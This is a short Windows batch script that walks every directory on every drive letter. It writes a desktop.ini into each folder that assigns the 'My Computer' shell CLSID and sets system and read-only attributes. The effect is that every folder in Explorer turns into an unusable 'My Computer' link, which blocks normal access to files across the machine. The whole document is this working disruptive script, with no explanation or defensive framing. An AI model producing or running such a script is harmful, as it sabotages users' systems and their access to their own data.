@echo off
set disk=a b c d e f g h i j k l m n o p q r s t u v w x y z
for %%a in (%disk%) do (
%%a:
for /f %%i in ('dir /b /s /ad %%a:\*') do (
attrib -s -h -r %%i
echo [.ShellClassInfo]>%%i\desktop.ini
echo CLSID={20D04FE0-3AEA-1069-A2D8-08002B30309D}>>%%i\desktop.ini
attrib +r +s %%i
)
)
